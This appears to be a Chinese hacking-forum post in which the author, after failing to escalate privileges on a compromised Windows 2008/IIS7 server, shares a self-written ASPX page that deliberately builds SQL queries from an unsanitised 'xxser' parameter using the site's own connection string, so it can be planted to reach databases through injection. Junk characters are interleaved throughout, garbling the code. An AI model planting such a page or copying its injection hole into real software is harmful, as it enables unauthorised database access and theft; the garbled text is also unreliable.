昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。, E" h9 t6 J G% `1 s% B
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。8 j( M6 }; r8 }$ x; t
代码量不多,自己写个拉倒了。烦死了。
' v8 p8 {' x7 {9 S& V8 g7 \' o- v
! w1 \1 I% g) s- |# Y9 D, `<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
: d$ S) s8 J! g! a3 L" I6 g9 C6 D<html xmlns="http://www.w3.org/1999/xhtml">4 V9 `6 l1 H2 s
<head runat="server">
8 N# H# F9 P* p& n# A. _% P <title>暗影aspx构造注射专用页面</title>
5 b' G8 i/ X" |9 P. f</head>9 T! v* H& a. f* T
<body>
* X' H5 i, c7 f9 O" Q) N2 K5 y <form id="form1" runat="server">! _( B+ d9 Y' A
<div>8 D) ?1 k6 w* h
<script language="c#" runat="server">( b: v L8 X7 K% [7 h# s0 [
$ t) a+ ^' }/ A5 H# { void page_init(object sender, EventArgs e)
7 H% z, F0 ]& v- x! f# n {% _* m. j3 `, e4 [% [, Y6 |
8 G8 L, i% x" A System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();, _# a8 f6 n: V: B
$ Q1 Q4 B) R1 G: b* ^& b6 h8 v
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
- o; j% ]! i. Y. K% x+ C conn.Open();
2 |* o0 v: ?1 B9 n0 h" N' Y9 R
2 h7 V: f z- R5 @* q+ {) g string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
4 E3 p8 G4 s. }" F- h, Y. A) D ; C7 `2 n z0 Y8 b% K
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);* L0 x+ d: `' t
int x = command.ExecuteNonQuery();
4 T2 a# x( m# K6 ]+ K Response.Write(i+"\n");
$ I0 m3 B, E. U7 H7 @) ~: d Response.Write(x);- C' i) J8 X6 [- B( F5 S
conn.Close();" F6 x& H" S# z* }3 L" ~: ^( [
}3 y2 ?0 y; M/ l% m0 S' a
8 j! `9 ^/ U0 }4 T# v# f; \2 g5 Q </script>0 a3 y% w2 _& @
</div>
7 @6 A3 `5 N: z' Q </form>$ b$ j+ c* n) q( \4 |0 e$ f) ^$ r5 g% T
</body>
- C* k4 U, ^/ n- o</html>$ O+ P9 I* w8 p* d
|